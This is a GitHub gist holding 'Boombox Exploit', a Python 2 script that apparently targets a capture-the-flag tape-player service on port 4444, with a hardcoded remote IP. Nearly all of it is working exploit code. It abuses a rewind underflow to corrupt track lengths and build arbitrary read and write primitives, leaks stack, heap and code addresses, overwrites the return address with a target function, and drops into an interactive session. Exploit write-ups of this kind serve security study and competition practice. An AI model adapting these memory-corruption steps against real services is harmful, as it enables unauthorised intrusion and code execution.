-
-
Save itszn/d0074cb0b0db6642c366 to your computer and use it in GitHub Desktop.
Boombox Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import struct | |
import time | |
import telnetlib | |
import ctypes | |
import sys | |
import os | |
DEBUG = False | |
def dbp(s): | |
if DEBUG: | |
print s | |
def ui64(v): | |
return ctypes.c_uint64(v).value | |
def readUntil(so, n): | |
d="" | |
while True: | |
c = so.recv(1) | |
if c=='': raise Exception("Disconnected: "+repr(d)) | |
else: d+=c | |
if n in d: | |
return d | |
def getSocket(skip=False): | |
so = socket.socket(socket.AF_INET,socket.SOCK_STREAM) | |
if len(sys.argv)==1: | |
so.connect(('',4444)) | |
if not skip: | |
raw_input('[Press enter to start exploit]') | |
else: | |
so.connect(('40.118.168.81',4444)) | |
return so | |
sounds = ['beep','bop','zip','zam','flim', | |
'flam','ity','bad','do','dub','da','bez', | |
'um','yo','wop','bap'] | |
def musicToHexString(st): | |
hs = '' | |
while st!='': | |
for i,s in enumerate(sounds): | |
if st[:len(s)]==s: | |
hs+='%x'%i | |
st=st[len(s)-1:] | |
break | |
st=st[1:] | |
return hs | |
def hexStringToMusic(val): | |
s = '' | |
for c in val.decode('hex'): | |
s+=sounds[(ord(c)&0xf0)>>4] | |
s+=sounds[ord(c)&0xf] | |
return s | |
def intToMusic(val,tp='<Q'): | |
return hexStringToMusic(struct.pack(tp,val).encode('hex')) | |
def setupPrimatives(so): | |
os.write(1,"Setting up...") | |
dbp(readUntil(so, 'SELECTION: ')) | |
so.send('1\n') | |
# Tape name | |
so.send('test\n') | |
# Num of tracks | |
so.send('2\n') | |
so.send('A\n') # Track name | |
so.send('AAAAA\n') # Track contents | |
so.send('B\n') # Track name | |
so.send('BBBBB\n') # Track contents | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
# Play the music for 4 seconds | |
so.send('4\n') | |
time.sleep(4) | |
so.send('\n') | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
# Rewind the music underflowing by 2-3 | |
so.send('6\n') | |
time.sleep(1.7) #I found this works well with the latency of the server | |
so.send('\n') | |
so.send('\n') | |
data = readUntil(so, 'SELECTION: ') | |
dbp(data) | |
# If we were too slow, then we missed our chance | |
if "Reached start of track" in data: | |
raise Exception("TO SLOW") | |
# Write over the most significant part of the length | |
so.send('9\n') | |
pl=hexStringToMusic('ff'*3) | |
so.send(pl+'\n') | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
os.write(1,"Done\n") | |
def writeToOffset(so, off,val): | |
# Select the first track | |
so.send('8\n') | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
# Seek to the location of the length of the second track | |
so.send('10\n') | |
so.send('552\n') | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
# Set it to int_max so that we can write anywhere | |
so.send('9\n') | |
pl=hexStringToMusic('ff'*8) | |
so.send(pl+'\n') | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
#Select the second track | |
so.send('7\n') | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
#Seek to the offset we want to write to | |
so.send('10\n') | |
so.send('%u\n'%off) | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
#Write the data | |
so.send('9\n') | |
pl=hexStringToMusic(val) | |
so.send(pl+'\n') | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
def readFromOffset(so, off,length): | |
#Select the first track | |
so.send('8\n') | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
# Seek to the location of the length of the second track | |
so.send('10\n') | |
so.send('552\n') | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
# Set it to the offset+length+1 so that we don't have uncontrolled read | |
so.send('9\n') | |
pl=intToMusic(ui64(off+length+1)) | |
so.send(pl+'\n') | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
# Select the second track | |
so.send('7\n') | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
# Seek to our offset | |
so.send('10\n') | |
so.send('%u\n'%ui64(off)) | |
so.send('\n') | |
dbp(readUntil(so, 'SELECTION: ')) | |
# Read the data. You can really only get 7-8 bytes depending on what the data is, so 4 is safe | |
so.send('4\n') | |
so.send('\n') | |
so.send('\n') | |
dbp(readUntil(so, ' | | ')) | |
data = readUntil(so, '...') | |
dbp(data) | |
dbp(readUntil(so, 'SELECTION: ')) | |
return musicToHexString(data) | |
DEBUG = False | |
# Dump the heap to a log file from the offset | |
def dumpHeap(): | |
offset = -0x15a0 | |
f = open('log','a') | |
f.write('\n--- New Session ---') | |
lmem = '' | |
inline = 0 | |
while True: | |
so = getSocket(skip=True) | |
try: | |
setupPrimatives(so) | |
while True: | |
mem=readFromOffset(so,offset,4)+readFromOffset(so,offset+4,4) | |
mem = mem.decode('hex') | |
if mem!='\x00'*8: | |
print '\n%05x:'%-(offset),'%016x\n'%struct.unpack('<Q',mem)[0] | |
else: | |
os.write(1,'.') | |
lmem=mem+lmem | |
if len(lmem)==0x20: | |
do = True | |
if lmem=='\x00'*0x20: | |
if inline==2: | |
f.write('\n...') | |
inline=3 | |
do = False | |
elif inline<2: | |
inline+=1 | |
else: | |
do = False | |
else: | |
if inline==3: | |
f.write('\n%05x: '%-(offset+0x20)) | |
f.write(('0'*16+' ')*4) | |
inline=0 | |
if do: | |
f.write('\n%05x: '%-(offset)) | |
for i in range(0,0x20,8): | |
f.write('%016x '%struct.unpack('<Q',lmem[i:i+8])[0]) | |
lmem='' | |
offset-=8 | |
except Exception as e: | |
print '\n',e | |
def pwn(): | |
so = getSocket() | |
if len(sys.argv)==1: | |
offset = -0x4c98 # Subject to change, check your local windbg for more details | |
else: | |
offset = -0x5478 | |
setupPrimatives(so) | |
leak = readFromOffset(so,offset,4)+readFromOffset(so,offset+4,4) | |
leak = leak.decode('hex').ljust(8,'\x00') | |
sleak = struct.unpack('<Q',leak)[0] | |
print "Stack Leak: 0x%016x"%sleak | |
retaddr = sleak+184 | |
leak = readFromOffset(so,offset+7*8,4)+readFromOffset(so,offset+7*8+4,4) | |
leak = leak.decode('hex').ljust(8,'\x00') | |
hleak = struct.unpack('<Q',leak)[0] | |
print "Heap Leak: 0x%016x"%hleak | |
ourloc = hleak+0x28 | |
leak = readFromOffset(so,retaddr-ourloc,4)+readFromOffset(so,retaddr-ourloc+4,4) | |
leak = leak.decode('hex').ljust(8,'\x00') | |
tleak = struct.unpack('<Q',leak)[0] | |
print "Text Leak: 0x%016x"%tleak | |
winfunc2 = tleak-0x8cf | |
winfunc = tleak-0x14ff | |
writeToOffset(so,retaddr-ourloc,struct.pack('<Q',winfunc).encode('hex')) | |
writeToOffset(so,retaddr-ourloc+8,struct.pack('<Q',winfunc2).encode('hex')) | |
so.send('12\n') | |
t = telnetlib.Telnet() | |
t.sock = so | |
t.interact() | |
pwn() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment